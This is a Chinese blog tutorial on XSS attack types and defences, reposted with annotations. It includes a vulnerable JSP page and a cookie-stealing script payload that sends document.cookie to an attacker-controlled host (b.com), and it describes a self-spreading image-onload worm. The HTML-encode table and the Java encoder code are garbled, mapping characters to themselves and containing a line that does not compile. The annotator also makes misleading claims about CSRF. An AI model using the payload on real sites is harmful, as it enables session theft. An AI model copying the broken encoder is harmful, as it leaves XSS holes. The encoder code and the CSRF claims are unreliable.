阅读目录
add by zhj: 略有修改。另外还有一篇文章值得参考，使用 PHP 构建的 Web 应用如何避免 XSS 攻击，总得来说防御XSS的方法是客户端和服务端都
要对输入做检查，如果只有客户端做检查，那攻击者不用你的客户端而使用第三方工具发起攻击，你就玩完了，客户端就成了马奇诺防线。如果后端用的
是Python，那检查可参考Cross-site scripting (XSS) defense (Python recipe)。
原文：http://blog.csdn.net/ghsau/article/details/17027893
作者：高爽|Coder
目录
1. XSS攻击
1.1 DOM Based XSS
1.2 Stored XSS
2. XSS防御
2.1 完善的过滤体系
3. CSRF与XSS的关系
XSS，全称Cross SiteScript，跨站脚本攻击。为何不叫CSS呢？因为层叠样式表(Cascading Style Sheets, CSS)的缩写是CSS，不了不混淆，所以称为XSS。它是Web程序中常见的漏洞，XSS属于被动式且用于客户端的攻击方式，所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码，当其它用户浏览该网站时，这段HTML代码会自动执行，从而达到攻击的目的。如，盗取用户Cookie、破坏页面结构、重定向到其它网站等。
1. XSS攻击
XSS攻击类似于SQL注入攻击，攻击之前，我们先找到一个存在XSS漏洞的网站，XSS漏洞分为三种，第一种是DOM Based XSS漏洞，第二种是反射型XSS，第三种是Stored XSS漏洞（add by zhj: 其实从防御上来说，他们之间没有什么差别，都是要客户端和服务端对输入做检查）。理论上，所有可输入的地方没有对输入数据进行处理的话，都会存在XSS漏洞，漏洞的危害取决于攻击代码的威力，攻击代码也不局限于script。
1.1 DOM Based XSS
DOM Based XSS是一种基于网页DOM结构的攻击，该攻击特点是中招的人是少数人。add by zhj : 反射型XSS与DOM Based XSS基本上没啥差别
场景一：
当我登录a.com后，我发现它的页面某些内容是根据url中的一个叫content参数直接显示的，猜测它测页面处理可能是这样，其它语言类似：
<%@ page language="java"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%>
<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>XSS测试</title>
</head>
<body>
页面内容：<%=request.getParameter("content")%>
</body>
</html>
我知道了Tom也注册了该网站，并且知道了他的邮箱(或者其它能接收信息的联系方式)，我做一个超链接发给他，超链接地址为：http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>，当Tom点击这个链接的时候(假设他已经登录a.com)，浏览器就会直接打开b.com，并且把Tom在a.com中的cookie信息发送到b.com，b.com是我搭建的网站，当我的网站接收到该信息时，我就盗取了Tom在a.com的cookie信息，cookie一般会有sesseionID，攻击成功！这个过程中，受害者只有Tom自己。那如此攻击多个人呢？使用下面的Stored XSS
1.2 Stored XSS
Stored XSS是存储式XSS漏洞，由于其攻击代码已经存储到服务器上或者数据库中，所以受害者是很多人。
场景二：
网站a.com上可以发文章，我登录后在a.com中发布了一篇文章，文章中包含了恶意代码，<script>window.open(“www.b.com?param=”+document.cookie)</script>，保存文章。这时Tom和Jack看到了我发布的文章，当在查看我的文章时就都中招了，他们的cookie信息都发送到了我的服务器上，攻击成功！这个过程中，受害者是多个人。Stored XSS漏洞危害性更大，危害面更广。如果这个连接广泛在a.com传播，那就会有越来越多的人中招，新浪微博和人人网都遇到过这种攻击，参见人人网又一大波蠕虫，位置在首页+登录就中招+通杀网页和人人桌面，在用户上传照片的地方有XSS漏洞，攻击者可以在照片地址后面加入onload参数，绑定一个js脚本，这样加载这个照片时，就自动执行js脚本，用户根本不用点击什么按钮，只有他看到了这张照片，那就已经执行了js脚本。这种XSS攻击很容易实现扩散，比如在js脚本中写一个post请求，发一条同样的带有xss的图片就行了。
2. XSS防御
我们是在一个矛盾的世界中，有矛就有盾。只要我们的代码中不存在漏洞，攻击者就无从下手，我们要做一个没有缝的蛋。XSS防御有如下方式。
2.1 完善的过滤体系
永远不相信用户的输入。需要对用户的输入进行处理，只允许输入合法的值，其它值一概过滤掉。add by zhj: 而且这种检查必须是客户端和服务端都要做，
如果只有客户端做检查，那攻击者不用你的客户端而使用第三方工具发起攻击，你就玩完了，客户端就成了马奇诺防线。
2.2 Html encode
假如某些情况下，我们不能对用户数据进行严格的过滤，那我们也需要对标签进行转换。
|
less-than character (<) |
< |
|
greater-than character (>) |
> |
|
ampersand character (&) |
& |
|
double-quote character (") |
" |
|
space character( ) |
|
|
Any ASCII code character whose code is greater-than or equal to 0x80 |
&#<number>, where <number> is the ASCII character value. |
比如用户输入：<script>window.location.href=”http://www.baidu.com”;</script>，保存后最终存储的会是：<script>window.location.href="http://www.baidu.com"</script>在展现时浏览器会对这些字符转换成文本内容显示，而不是一段可执行的代码。
下面提供两种Html encode的方法。
- 使用Apache的commons-lang.jar
StringEscapeUtils.escapeHtml(str);// 汉字会转换成对应的ASCII码，空格不转换
- 自己实现转换，只转换部分字符
private static String htmlEncode(char c) {
switch(c) {
case '&':
return"&";
case '<':
return"<";
case '>':
return">";
case '"':
return""";
case ' ':
return" ";
default:
return c +"";
}
}
/** 对传入的字符串str进行Html encode转换 */
public static String htmlEncode(String str) {
if(str ==null || str.trim().equals("")) return str;
StringBuilder encodeStrBuilder = new StringBuilder();
for (int i = 0, len = str.length(); i < len; i++) {
encodeStrBuilder.append(htmlEncode(str.charAt(i)));
}
return encodeStrBuilder.toString();
}
3. XSS的CSRF关系（add by zhj）
研究了半天CSRF和XSS，感觉CSRF应该是XSS的一种而已，如果XSS标签没有放在被攻击者登录的网站，而是在另一个网站，而且XSS攻击时访问的网站是被攻击者登录的网站，那这种XSS攻击也称为CSRF攻击。可见，CSRF攻击是XSS攻击的一种，还有一种XSS攻击是访问攻击者自己的网站，这种攻击标签一般是放在被攻击者登录的网站，这样攻击标签绑定的js脚本就可以获取被攻击者在登录网站的一些信息，如cookie，然后把这些信息发给攻击者自己的网站。这样，攻击者就窃取了被攻击者的信息。从防护措施上来看，CSRF的防护比XSS要简单，只需要客户端修改，CSRF只要客户端不要把数据保存在cookie，而是保存在web storage中即可防御CSRF；而对于XSS，就需要前后端都要对输入进行检查才行。